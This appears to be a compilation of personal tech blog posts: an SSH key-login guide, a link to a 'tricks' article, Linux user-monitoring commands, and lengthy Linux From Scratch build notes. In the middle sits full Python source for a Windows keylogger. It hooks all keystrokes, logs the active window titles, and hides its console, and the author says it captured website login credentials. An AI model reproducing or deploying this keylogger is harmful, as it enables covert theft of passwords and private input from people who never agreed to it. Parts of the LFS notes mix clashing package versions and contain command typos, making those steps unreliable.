Enabling Password-Less SSH login in 4 simple steps

First of all install SSH server and agent respectively

STEP 1 :

Generate a authentication keys for User A:

ssh-keygen -t rsa

STEP 2:

• Change the permissions of .ssh to 700

chmod 700 /home/user/.ssh

• Change the permissions of .ssh/authorized_keys to 600

chmod 600 /home/user/.ssh/authorized_keys

STEP 3:

Copy  User A's key to User B's :

ssh-copy-id  userb@192.168.1.1

This will ask for password of User B. When you have entered correct password the key will be copied to User B's /home/.ssh/authorized_keys directory.

STEP 4:

Trying logging

ssh userb@192.168.1.1

It will allow password less login.

• If there are any problems make sure to check permission of the directories. most of the time people have problem with permissions only.
• Make sure the ssh server is working if shows error stating unable to connect

50 Most Amazing Tech Tricks You can’t Find on Internet

Well while surfing on internet I came across a very interesting article which shows some amazing cool tricks one can perform with the help of simple apps and sites.

There are some cool stuff one can find like a website you can use to corrupt you files intentionally, delete your online social website and also tricks such as access all your control panel shortcuts from one place or folder. 

I'm sure you'll find one or more useful tricks you would use in your daily life.

To read the whole article please to go this website.

http://www.prophethacker.com/2015/07/useful-tech-hacks-tricks.html

Keylogger in Python for windows

A keylogger which will capture all the keyboard activity and associate it with the current active window running by record all of this in a text file.

Its a demo code.  I'm also sharing screen shots showing how it stores the keystrokes and active window information.

This snapshot show it is capturing login information of a specific website in a text file.

Here it has captured the text which is been entered in url

Source Code : Click Here

You can also find setup here : Click Here

Python Keylogger Source code

You'll need three libraries py2exe,pyhook,pywin32 to be installed on the host in order to run this code.

keylogger.py

---------------------------------------------------------

from threading import Timer
from threading import Thread
import subprocess, socket, base64, time, datetime, os, sys, urllib2, platform
import pythoncom, pyHook,win32api, win32gui, win32con, smtplib

# Declarations    
LOG_FILENAME = 'log_entry.txt'                 # log file name (current directory)
LOG_ACTIVE = ''     # stores active window
LOG_STATE = False    # Start keylogger as false
LOG_TIME = 0     # amount of time to log in seconds, where 0 = infinite and 86400 = 1 day
LOG_TEXT = ""     # this is the raw log var which will be written to file
LOG_TEXTSIZE = 0    # marks the beginning and end of new text blocks that separate logs
LOG_MINTERVAL = 86400           # main loop intervals in seconds, where 86400 = 1 day (default)
LOG_THREAD_kl = 0    # thread count for keylogger

# ----------------------------- #




#Setting the thread ID to current thread ID before execution.
main_thread_id = win32api.GetCurrentThreadId()


def Keylog(k, LOG_TIME, LOG_FILENAME):
 
 if os.name != 'nt': return "Not supported for this operating system.\n" # checking the OS
 global LOG_TEXT, LOG_FILE, LOG_STATE, LOG_ACTIVE, main_thread_id
 LOG_STATE = True                                                        # begin logging process
 main_thread_id = win32api.GetCurrentThreadId()
 
 # Formatting and adding timestamp when log starts
 LOG_TEXT += "\n+++++++++++++++++++++++++++++++++++++++++++++++++\n"
 LOG_DATE = datetime.datetime.now()
 LOG_TEXT += ' ' + str(LOG_DATE) + ' [ Logging started ] |\n'
 LOG_TEXT += "++++++++++++++++++++++++++++++++++++++++++++++++++++\n\n"

 # Find out which window is currently active
 w = win32gui
 LOG_ACTIVE = w.GetWindowText (w.GetForegroundWindow())
 LOG_DATE = datetime.datetime.now()
 LOG_TEXT += "* Activated Windows.* [" + str(LOG_DATE) + "] \n"
 LOG_TEXT += "+" * len(LOG_ACTIVE) + "+++\n"
 LOG_TEXT += " " + LOG_ACTIVE + " |\n"
 LOG_TEXT += "+" * len(LOG_ACTIVE) + "+++\n\n"
 
 if LOG_TIME > 0:
  t = Timer(LOG_TIME, stopKeylog) # Quit
  t.start()
  
 # Opening the file to write
 LOG_FILE = open(LOG_FILENAME, 'w')
 LOG_FILE.write(LOG_TEXT)
 LOG_FILE.close()
 hm = pyHook.HookManager()
 hm.KeyDown = OnKeyboardEvent
 hm.HookKeyboard()
 hide()
 pythoncom.PumpMessages() # this is where all the magic happens! ;)


# Function to record key strokes
def OnKeyboardEvent(event):
 global LOG_STATE
 # return if it isn't logging.
 if LOG_STATE == False: return True
 global LOG_TEXT, LOG_FILE, LOG_FILENAME, LOG_ACTIVE
 LOG_TEXT = ""
 LOG_FILE = open(LOG_FILENAME, 'a')
 
 # check for new window activation
 wg = win32gui
 LOG_NEWACTIVE = wg.GetWindowText (wg.GetForegroundWindow())
 if LOG_NEWACTIVE != LOG_ACTIVE:
  # record it down nicely...
  LOG_DATE = datetime.datetime.now()
  LOG_TEXT += "\n\n* Activated Windows.* [" + str(LOG_DATE) + "] \n"
  LOG_TEXT += "+" * len(LOG_NEWACTIVE) + "+++\n"
  LOG_TEXT += " " + LOG_NEWACTIVE + " |\n"
  LOG_TEXT += "+" * len(LOG_NEWACTIVE) + "+++\n\n"
  LOG_ACTIVE = LOG_NEWACTIVE
  LOG_FILE.write(LOG_TEXT)
 
 LOG_TEXT = "" 
 if event.Ascii == 8:
                LOG_TEXT += "<Backspace>"
 elif event.Ascii == 13:
                LOG_TEXT += "<Enter>"
 elif event.Ascii == 9:
                LOG_TEXT += "<Horizontal tab>"
 else: LOG_TEXT += str(chr(event.Ascii))
 # write to file
 LOG_FILE.write(LOG_TEXT) 
 LOG_FILE.close()
 
 return True

    # begin keylogging
kl = Thread(target=Keylog, args=(LOG_THREAD_kl,LOG_TIME,LOG_FILENAME))
kl.start()

#Hide Console
def hide():
    import win32console,win32gui
    window = win32console.GetConsoleWindow()
    win32gui.ShowWindow(window,0)
    return True
sys.exit()

Command to view activity of a SSH user on Ubuntu 14.04

Basically its necessary to know what all user are doing or did on your system which can help us in hardening the system.

• To view commands which were executed by a specific user :

~$ sudo nano /home/"username"/.bash_history

• To view what a user is doing currently onto your system :

~$ w

• For live view of linux shell commands executed by another user :

~$ ssh host /bin/sh -i

• Live view of linux shell commands executed by another user can be done by tools in much better way such as :

- Sniffy    // recommended

- Sysdig

- Snoopy

LFS using Ubuntu 14.04

Host System Requirements: 

Note :Ubuntu is not compliant out of the box, copy-paste the script and run it:
you might need to install some packages which are not present in ubuntu 14.04

 
bhargav@Inspiron:~$sudo apt-get install texinfo gawk make sed php gcc g++

Use scripts from documentation to check for packages and libraries

on your host system : sudo blkid -o list

bhargav@Inspiron:~$ sudo ./version-check.sh 

script code version-check.sh : Refer documentation for scrip code.

Note : you might need to install few packages showed after running the script :

bhargav@Inspiron:~$ sudo ./library-check.sh

script code library-check.sh : Refer documentation for script code.

• Install gmp mpfr mpc

• Installation is done manually by going onto site for each package and then 

  download and install it asshown in documentation of each package. 

You might get problem while installing mpfr hence just run this command:

sudo apt-get install libmpfr-dev libmpfr-doc libmpfr4 libmpfr4-dbg
 

Making a partition on disk for lfs using parted application :

Note : If you are not sure how PARTED work then refer to below 

link before going forward:

http://www.thegeekstuff.com/2011/09/parted-command-examples/

bhargav-Inspiron:/$ sudo parted

(parted) print free

Now look for space which is free to use and remember the start and end 

size to make partition:

Note : Please re-check or make sure before running any command. 

Any mistake might lead to losing your data onto disk or HD.

(parted) mkpart
Partition name?  []? lfs                                                 
File system type?  [ext2]? ext4                                           
Start? 238GB                                                              
End? 248GB                                                                
(parted) print
Model: ATA WDC WD5000LPVX-7 (scsi)
Disk /dev/sda: 500GB
Sector size (logical/physical): 512B/4096B
Partition Table: gpt

Number  Start   End     Size    File system     Name                          Flags
 1      1049kB  525MB   524MB   fat32           EFI system partition          boot
 2      525MB   567MB   41.9MB  fat32           Basic data partition          hidden
 3      567MB   701MB   134MB                   Microsoft reserved partition  msftres
 4      701MB   1488MB  786MB   ntfs            Basic data partition          hidden, diag
 5      1488MB  70.1GB  68.6GB  ntfs            Basic data partition          msftdata
 6      70.1GB  238GB   168GB   ntfs            Basic data partition          msftdata
11      238GB   248GB   10.5GB                  lfs

 7      248GB   459GB   211GB   ntfs            Basic data partition          msftdata
 9      459GB   463GB   4200MB  linux-swap(v1)
10      463GB   491GB   27.3GB  ext4
 8      491GB   500GB   9412MB  ntfs            Microsoft recovery partition  hidden, diag

Format ext2 partition to ext4 partition :

bhargav@Inspiron:~$sudo blkid -o list             //this will show partition blkid 

bhargav@Inspiron:~$ sudo mkfs.ext4 /dev/sda11

We will make a variable link: (OPTIONAL you can use /mnt/lfs in $LFS or viceversa)

bhargav@Inspiron:~$ export LFS=/mnt/lfs

Make directory at /mnt/ name lfs:

 
bhargav@Inspiron:~$ sudo mkdir -pv /mnt/lfs

Mounting the partition on the location of lfs directory: 

bhargav@Inspiron:~$ sudo mount -v -t ext4 /dev/sda11 /mnt/lfs
/dev/sda11 on /mnt/lfs type ext4 (rw)

Make directory inside /mnt/lfs named "sources" : 

bhargav@Inspiron:~$ sudo mkdir -v $LFS/sources
mkdir: created directory ‘/mnt/lfs/sources’

Give permission to /mnt/lfs/sources : 

bhargav@Inspiron:~$ sudo chmod -v a+wt $LFS/sources
mode of ‘/mnt/lfs/sources’ changed from 0755 (rwxr-xr-x) to 1777 (rwxrwxrwt)

Download all the packages from site :

It includes total 77 files including patches 

 ftp://ftp.lfs-matrix.net/pub/lfs/lfs-packages/lfs-packages-7.7-systemd.tar 

bhargav@Inspiron:/$ groupadd lfs 

bhargav@Inspiron:/$ sudo useradd -s /bin/bash -g lfs -m -k /dev/null lfs
bhargav@Inspiron:/$ sudo adduser lfs sudo
bhargav@Inspiron:/$ sudo passwd lfs
Enter new UNIX password: 
Retype new UNIX password: 
passwd: password updated successfully

lfs@Inspiron:/mnt/lfs$ sudo mkdir -v $LFS/tools
mkdir: created directory '/mnt/lfs/tools'
lfs@bhargav-Inspiron-3443:/mnt/lfs$ sudo ln -sv $LFS/tools /
'/tools' -> '/mnt/lfs/tools'

lfs@Inspiron:/mnt/lfs$

bhargav@Inspiron:/$ sudo chown -v lfs /mnt/lfs/tools
changed ownership of ‘/mnt/lfs/tools’ from root to lfs
bhargav@Inspiron:/$ sudo chown -v lfs /mnt/lfs/sources
changed ownership of ‘/mnt/lfs/sources’ from root to lfs
bhargav@Inspiron:/$ 

bhargav@Inspiron:/$ su - lfs
Password: 

Setting Up the Environment :

 lfs@Inspiron:~$ ~/.bash_profile << "EOF"
> exec env -i HOME=$HOME TERM=$TERM PS1='\u:\w\$ ' /bin/bash
> EOF
-su: /home/lfs/.bash_profile: No such file or directory
lfs@Inspiron:~$ cat > ~/.bash_profile << "EOF"
exec env -i HOME=$HOME TERM=$TERM PS1='\u:\w\$ ' /bin/bash
EOF

lfs@Inspiron:~$ cat > ~/.bashrc << "EOF"
> set +h
> umask 022
> LFS=/mnt/lfs
> LC_ALL=POSIX
> LFS_TGT=$(uname -m)-lfs-linux-gnu
> PATH=/tools/bin:/bin:/usr/bin
> export LFS LC_ALL LFS_TGT PATH
> EOF
lfs@Inspiron:~$ source ~/.bash_profile

IMP change it back to dash to run in normal enviroment

To change symblic link of sh to bash

sudo ln -sf bash /bin/sh 

Change it to dash when it is done

sudo ln -sf dash /bin/sh

Build Binutils package :

cd $LFS/sources
tar xf binutils-2.22.tar.bz2
cd binutils-2.22

mkdir -v ../binutils-build
cd ../binutils-build

../binutils-2.22/configure \
    --target=$LFS_TGT --prefix=/tools \
    --disable-nls --disable-werror

make

case $(uname -m) in
  x86_64) mkdir -v /tools/lib && ln -sv lib /tools/lib64 ;;
esac

make install

cd $LFS/sources
rm -rf binutils-build binutils-2.22 

Buils GCC package:

cd $LFS/sources
tar xf gcc-4.6.2.tar.bz2
cd gcc-4.6.2

tar -jxf ../mpfr-3.1.0.tar.bz2
mv -v mpfr-3.1.0 mpfr
tar -Jxf ../gmp-5.0.4.tar.xz
mv -v gmp-5.0.4 gmp
tar -zxf ../mpc-0.9.tar.gz
mv -v mpc-0.9 mpc 

The following command ill change the location of GCC's default dynamic linker to use the one installed in 

for file in \

$(find gcc/config -name linux64.h -o -name linux.h -o -name sysv4.h)

do

cp -uv $file{,.orig}

sed -e 's@/lib\(64\)\?\(32\)\?/ld@/tools&@g' \

-e 's@/usr@/tools@g' $file.orig > $file

echo '

#undef STANDARD_STARTFILE_PREFIX_1

#undef STANDARD_STARTFILE_PREFIX_2

#define STANDARD_STARTFILE_PREFIX_1 "/tools/lib/"

#define STANDARD_STARTFILE_PREFIX_2 ""' >> $file

touch $file.orig

done

 then making a gcc-build directory:

mkdir -v ../gcc-build
cd ../gcc-build

Installing gcc by running this command :

../gcc-4.9.2/configure \

--target=$LFS_TGT \

--prefix=/tools \

--with-sysroot=$LFS \

--with-newlib \

--without-headers \

--with-local-prefix=/tools \

--with-native-system-header-dir=/tools/include \

--disable-nls \

--disable-shared \

--disable-multilib \

--disable-decimal-float \

--disable-threads \

--disable-libatomic \

--disable-libgomp \

--disable-libitm \

--disable-libquadmath \

--disable-libsanitizer \

--disable-libssp \

--disable-libvtv \

--disable-libcilkrts \

--disable-libstdc++-v3 \

--enable-languages=c,c++

make
make install

cd $LFS/sources
rm -rf gcc-build gcc-4.9.2 

Installation of Linux API Headers:

cd $LFS/sources

tar -xf linux-3.19.tar.xz 

cd linux-3.19

make mrproper

make INSTALL_HDR_PATH=dest headers_install

cp -rv dest/include/* /tools/include

cd $LFS/sources/

sudo rm -rf linux-3.19 

Installation of Glibc-2.21 :

tar xf glibc-2.21.tar.xz 

cd glibc-2.21

sudo mkdir -v ../glibc-build

cd ../glibc-build/

../glibc-2.21/configure                             \
      --prefix=/tools                               \
      --host=$LFS_TGT                               \
      --build=$(../glibc-2.21/scripts/config.guess) \
      --disable-profile                             \
      --enable-kernel=2.6.32                        \
      --with-headers=/tools/include                 \
      libc_cv_forced_unwind=yes                     \
      libc_cv_ctors_header=yes                      \
      libc_cv_c_cleanup=yes

make

make install

At this point, it is imperative to stop and ensure that the 

basic functions (compiling and linking) of the new
toolchain are working as expected. To perform a sanity
check, run the following commands: 

echo 'main(){}' > dummy.c
$LFS_TGT-gcc dummy.c
readelf -l a.out | grep ': /tools'

If everything is working correctly, there should be no
errors, and the output of the last command will be of the form:

[Requesting program interpreter: /tools/lib/ld-linux.so.2] 

rm -v dummy.c a.out   

Binutils-2.22 - Pass 2 

tar xf binutils-2.25.tar.bz2
cd binutils-2.25 

mkdir -v ../binutils-build
cd ../binutils-build 

CC=$LFS_TGT-gcc                \
AR=$LFS_TGT-ar                 \
RANLIB=$LFS_TGT-ranlib         \
../binutils-2.25/configure     \
    --prefix=/tools            \
    --disable-nls              \
    --disable-werror           \
    --with-lib-path=/tools/lib \
    --with-sysroot 

make

make install

Now prepare the linker for the “Re-adjusting” phase in the next chapter: 

make -C ld clean
make -C ld LIB_PATH=/usr/lib:/lib
cp -v ld/ld-new /tools/bin

5.10.1. Installation of GCC

tar xf gcc-4.9.2.tar.bz2
cd gcc-4.9.2 

 cat gcc/limitx.h gcc/glimits.h gcc/limity.h > \
  `dirname $($LFS_TGT-gcc -print-libgcc-file-name)`/include-fixed/limits.h

Once again, change the location of GCC's default dynamic 

linker to use the one installed in /tools.

for file in \
 $(find gcc/config -name linux64.h -o -name linux.h -o -name sysv4.h)
do
  cp -uv $file{,.orig}
  sed -e 's@/lib\(64\)\?\(32\)\?/ld@/tools&@g' \
      -e 's@/usr@/tools@g' $file.orig > $file
  echo '
#undef STANDARD_STARTFILE_PREFIX_1
#undef STANDARD_STARTFILE_PREFIX_2
#define STANDARD_STARTFILE_PREFIX_1 "/tools/lib/"
#define STANDARD_STARTFILE_PREFIX_2 ""' >> $file
  touch $file.orig
done 

As in the first build of GCC it requires the GMP, MPFR and MPC packages. Unpack the tarballs and move them into the required directory names:

tar -xf ../mpfr-3.1.2.tar.xz
mv -v mpfr-3.1.2 mpfr
tar -xf ../gmp-6.0.0a.tar.xz
mv -v gmp-6.0.0 gmp
tar -xf ../mpc-1.0.2.tar.gz
mv -v mpc-1.0.2 mpc

Before starting to build GCC, remember to unset any environment variables that override the default optimization flags.
Now prepare GCC for compilation:

CC=$LFS_TGT-gcc                                    \
CXX=$LFS_TGT-g++                                   \
AR=$LFS_TGT-ar                                     \
RANLIB=$LFS_TGT-ranlib                             \
../gcc-4.9.2/configure                             \
    --prefix=/tools                                \
    --with-local-prefix=/tools                     \
    --with-native-system-header-dir=/tools/include \
    --enable-languages=c,c++                       \
    --disable-libstdcxx-pch                        \
    --disable-multilib                             \
    --disable-bootstrap                            \
    --disable-libgomp

Compile the package:

make

Install the package: 

make install

As a finishing touch, create a symlink. Many programs and
scripts run cc instead of gcc,which is used to keep programs generic and therefore usable
on all kinds of UNIX systems where the GNU C compiler is not always installed. Running cc leaves the system
administrator free to decide which C compiler to install:

echo 'main(){}' > dummy.c
cc dummy.c
readelf -l a.out | grep ': /tools' 

If everything is working correctly, there should be no errors, 

and the output of the last command will be of the form: 

[Requesting program interpreter: /tools/lib/ld-linux.so.2]

Once all is well, clean up the test files:
 

rm -v dummy.c a.out

Once all is well, clean up the test files:

HERE  YOU HAVE COMPLETED THE TOUGH PART OF LFS.

5.11. Tcl8.6.3 Installation :

tar xf tcl8.6.3-src.tar.gz

cd tcl8.6.3/unix

Prepare Tcl for compilation:

 
  cd tcl8.6.3/unix        

./configure --prefix=/tools 

Build the package:
              

make

Install the package: 

make install

Make the installed library writable so debugging symbols can be removed later:

chmod -v u+w /tools/lib/libtcl8.6.so 

Install Tcl's headers. The next package, Expect, requires them to build. 

make install-private-headers 

Now make a necessary symbolic link:

ln -sv tclsh8.6 /tools/bin/tclsh 

5.12. Expect-5.45 Installation : First, force Expect's configure script to use /bin/stty instead of a /usr/local/bin/stty it may find on the host system. This will ensure that our test suite tools remain sane for the final builds of our toolchain: tar xf expect5.45.tar.gz cd expect5.45 cp -v configure{,.orig} sed 's:/usr/local/bin:/bin:' configure.orig > configure     Now prepare Expect for compilation:   ./configure --prefix=/tools \ --with-tcl=/tools/lib \ --with-tclinclude=/tools/include    Build the package:   make       5.13. DejaGNU package Installation : tar xf dejagnu-1.5.2.tar.gz cd dejagnu-1.5.2/ ./configure --prefix=/tools   make install      5.14. Check-0.9.14 package Installation :  Prepare Check for complilation:   PKG_CONFIG= ./configure --prefix=/tools   Build the package:   make   Install the package:   make install      5.15. Ncurses-5.9 package Installation : tar xf ncurses-5.9.tar.gz  cd ncurses-5.9 Prepare Ncurses for complilation: ./configure --prefix=/tools \ --with-shared \ --without-debug \ --without-ada \ --enable-widec \ --enable-overwrite   Build the package :   make   Install the package:   make install    5.16. Bash-4.3.30 package Installation : tar xf bash-4.3.30.tar.gz  cd bash-4.3.30 Prepare Bash for compilation: ./configure --prefix=/tools --without-bash-malloc Build the package: make Install the package:  make install Make a link for the programs that use sh for a shell: ln -sv bash /tools/bin/sh 5.17. Bzip2-1.0.6 package Installation : tar xf bzip2-1.0.6.tar.gz  cd bzip2-1.0.6 The Bzip2 package does not contain a configure script. Compile and test it with: make Install the package: make PREFIX=/tools install       5.18. Coreutils-8.23 package Installation : tar xf coreutils-8.23.tar.gz  cd coreutils-8.23 Prepare Coreutils for compilation: ./configure --prefix=/tools --enable-install-program=hostname Build the package: make Install the package:  make install 5.19. Diffutils-3.3 package Installation : tar xf diffutils-3.3.tar.gz  cd diffutils-3.3 Prepare Diffutils for compilation: ./configure --prefix=/tools Build the package: make Install the package:  make install 5.20. File-5.22 package Installation : tar xf file-5.22.tar.gz  cd file-5.22 Prepare File for compilation: ./configure --prefix=/tools Build the package: make Install the package:  make install 5.21. Findutils-4.4.2 package Installation : tar xf findutils-4.4.2.tar.gz  cd findutils-4.4.2 Prepare Findutils for compilation: ./configure --prefix=/tools Build the package: make Install the package:  make install 5.22. Gawk-4.1.1 package Installation : tar xf Gawk-4.1.1.tar.gz  cd gawk-1.1.2 Prepare Gawk for compilation: ./configure --prefix=/tools Build the package: make Install the package:  make install 5.23. Gettext-0.19.4 package Installation : tar xf gettext-0.19.4.tar.gz  cd gettext-0.19.4 Prepare Gettext for compilation: cd gettext-tools EMACS="no" ./configure --prefix=/tools --disable-shared Compile the package: make -C gnulib-lib make -C intl pluralx.c make -C src msgfmt make -C src msgmerge make -C src xgettext Install the msgfmt, msgmerge and xgettext programs: cp -v src/{msgfmt,msgmerge,xgettext} /tools/bin     5.24. Grep-2.21 package Installation : tar xf grep-2.21.tar.gz  cd grep-2.21 Prepare Grep for compilation: ./configure --prefix=/tools Build the package: make Install the package:  make install 5.25. Gzip-1.6 package Installation : tar xf gzip-1.6.tar.gz  cd gzip-1.6 Prepare Gzip for compilation: ./configure --prefix=/tools Build the package: make Install the package:  make install 5.26. M4-1.4.17 package Installation : tar xf m4-1.4.17.tar.gz  cd m4-1.4.17 Prepare M4 for compilation: ./configure --prefix=/tools Build the package: make Install the package:  make install 5.27. Make-4.1 package Installation : tar xf make-4.1.tar.gz  cd make-4.1 Prepare Make for compilation: ./configure --prefix=/tools --without-guile Build the package: make Install the package:  make install 5.28. Patch-2.7.4 package Installation : tar xf patch-2.7.4.tar.gz  cd patch-2.7.4 Prepare Make for compilation: ./configure --prefix=/tools Build the package: make Install the package:  make install 5.29. Perl-5.20.2 package Installation : tar xf perl-5.20.2.tar.gz  cd perl-5.20.2 Prepare perl for compilation: sh Configure -des -Dprefix=/tools -Dlibs=-lm Build the package: make Only a few of the utilities and libraries need to be installed at this time:

 cp -v perl cpan/podlators/pod2man /tools/bin
 mkdir -pv /tools/lib/perl5/5.20.2
 cp -Rv lib/* /tools/lib/perl5/5.20.2

5.30. Sed-4.2.2 package Installation :

tar xf sed-4.2.2.tar.gz 

cd sed-4.2.2

Prepare Sed for compilation:

./configure --prefix=/tools

Build the package:

make

Install the package: 




make install

5.31. Tar-1.28 package Installation :

tar xf tar-1.28.tar.xz

cd tar-1.28

Prepare Tar for compilation:

./configure --prefix=/tools

Build the package:

make

Install the package: 




make install

5.32. Texinfo-5.2 package Installation :

tar xf texinfo-5.2.tar.xz

cd texinfo-5.2

Prepare Texinfo for compilation:

./configure --prefix=/tools

Build the package:

make

Install the package: 




make install

5.33. Util-linux-2.26 package Installation :

tar xf util-linux-2.26.tar.xz

cdutil-linux-2.26

Prepare Util-linux for compilation:

./configure --prefix=/tools                \
            --without-python               \
            --disable-makeinstall-chown    \
            --without-systemdsystemunitdir \
            PKG_CONFIG=""

Build the package:

make

Install the package: 




make install

5.34. Xz-5.2.0 package Installation :

tar xf xz-5.2.0.tar.xz

cd xz-5.2.0

Prepare Xz for compilation:

./configure --prefix=/tools

Build the package:

make

Install the package: 




make install